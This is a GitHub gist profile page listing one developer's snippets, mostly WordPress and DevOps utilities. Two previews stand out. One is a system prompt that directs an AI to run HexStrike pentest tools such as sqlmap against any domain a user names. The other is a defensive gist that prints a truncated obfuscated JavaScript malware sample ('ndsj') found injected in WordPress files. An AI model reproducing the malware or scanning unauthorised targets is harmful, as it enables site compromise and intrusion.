Skip to content

Instantly share code, notes, and snippets.

View Jany-M's full-sized avatar
🎯
Focusing

Jany Martelli Jany-M

🎯
Focusing
View GitHub Profile
@Jany-M
Jany-M / hexstrike_phased_prompt.md
Created February 2, 2026 12:33
[CyberSec] HexStrike pentesting and report prompt

SYSTEM MESSAGE

You are a professional penetration tester with expertise in security assessment and vulnerability analysis.

When a user asks you to pentest a domain or IP address, perform a COMPREHENSIVE security assessment using HexStrike PRIMARY tools (under 128 tool limit).

⚠️ CRITICAL RULES:

  • TOOL CALLING FORMAT - MANDATORY: All HexStrike tools REQUIRE named parameters in the format: @hexstrike-mcp tool_name parameter_name=value
    • CRITICAL: You MUST include the parameter name and equals sign. NEVER call a tool without parameters.
  • CORRECT: @hexstrike-mcp sqlmap_scan url=https://{{target}}
@Jany-M
Jany-M / openclaw_wsl_quicksetup.md
Last active May 18, 2026 13:04
OpenClaw WSL Quick Setup for Windows 11
@Jany-M
Jany-M / wp-shambix_del_thumbs_bulk_by_year.php
Last active April 28, 2026 16:26
[WP] WordPress utility for cleaning up generated image variations (thumbnails) garbage in bulk, and for regenerating thumbnails for specific images. With every deletion or regeneration, it also updates the attachment metadata in the database to remove references to deleted variations.
<?php
/*
WordPress utility for cleaning up generated image variations (thumbnails) in bulk, in a wp-content/uploads/{year} directory (all months), and for regenerating thumbnails for specific images.
With every deletion or regeneration, it also updates the attachment metadata in the database to remove references to deleted variations.
Drop the file in the ROOT of your website (not in plugins) and access it via browser directly after you have logged into your WordPress dashboard first. It only works for administrator users.
ALWAYS backup your database AND files before using it. Delete the file after use.
Made to work on WP Engine, but should work on any host.
@Jany-M
Jany-M / wp_weekly_cal.php
Last active February 14, 2026 22:03
[WP] Custom WordPress weekly dynamic calendar, with custom post types, custom date fields and caching
<div id="calendar">
<?php
// Dates
// See also https://datatracker.ietf.org/doc/html/rfc5545
$year = date('Y');
$first_month_this_year_ts = mktime(0, 0, 0, date("F", strtotime('first month of this year')) + 1, date('d'), date('Y')); // timestamp
$today = date("j F Y", strtotime('today')); // human date
$today_ts = strtotime('today'); // timestamp
$today_day_of_year = date("z", $today_ts);// int
@Jany-M
Jany-M / woo_smart_multiple_addresses.php
Last active December 19, 2025 01:03
[WOO] Smart multiple billing address for WooCommerce
<?php
/**
* ============================================================================
* SMART MULTIPLE BILLING ADDRESSES SOLUTION
* ============================================================================
* 1. Store alternate addresses separately (never touch default WooCommerce billing)
* 2. Populate checkout fields from alternate address when selected
* 3. Save alternate address to custom storage after order
* 4. Restore original billing data immediately after checkout
@Jany-M
Jany-M / fetch_github_actions_logs.py
Created December 10, 2025 20:05
Github Actions Workflow run logs retriever (Debug failes jobs)
#!/usr/bin/env python3
"""
Script to fetch GitHub Actions workflow run logs
The script fetches the latest failed jobs, then creates a log file with error summary and job run log
Usage:
python fetch_github_actions_logs.py [--branch BRANCH] [--run-id RUN_ID] [--all-failed] [--per-page N]
"""
# SET UP
@Jany-M
Jany-M / acf-force-below-editor.php
Created November 4, 2025 20:41
ACF vs Gutenberg: Force field groups to appear BELOW content editor (instead of being stuck in sidebar)
<?php
/**
* Force ACF Field Groups to Show Below Gutenberg Editor
*
* This attempts to force the "normal" position of an ACF Field Group, to work in Gutenberg by using WordPress meta box hooks.
* This is a workaround and may not work reliably.
* The "normal" position is not officially supported by ACF in Gutenberg, as of November 2025.
*
* Developed by Jany Martelli @ Shambix - https://www.shambix.com
*
@Jany-M
Jany-M / wp_ics.php
Last active June 13, 2025 23:13 — forked from jakebellacera/ICS.php
[WP] Generate a downloadable .ics file from any WordPress post or custom post type
<?php
/*
For a better understanding of ics requirements and time formats
please check https://gist.github.com/jakebellacera/635416
*/
// UTILS
// Check if string is a timestamp
@Jany-M
Jany-M / php-pools.md
Last active June 9, 2025 00:38 — forked from holmberd/php-pools.md
Adjusting child processes for PHP-FPM (Nginx)
@Jany-M
Jany-M / wp_common_hack_strings.js
Last active June 9, 2025 00:38
[WP] WordPress common Javascript hack strings
// Common JS strings injected in all core, themes and plugins .js files (at the very end) - Use String Locator plugin and replace with empty space and/or use Force Reinstall plugin to reinstall all plugins - Remember to reinstall WP core files too
// Look for these plugins and remove them: Core, Core Stub
// Look for these themes and remove them: Classic
// Want to dig deeper? https://0x1.gitlab.io/security/Malware-Analysis-Tools-List/
// 1
;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,Http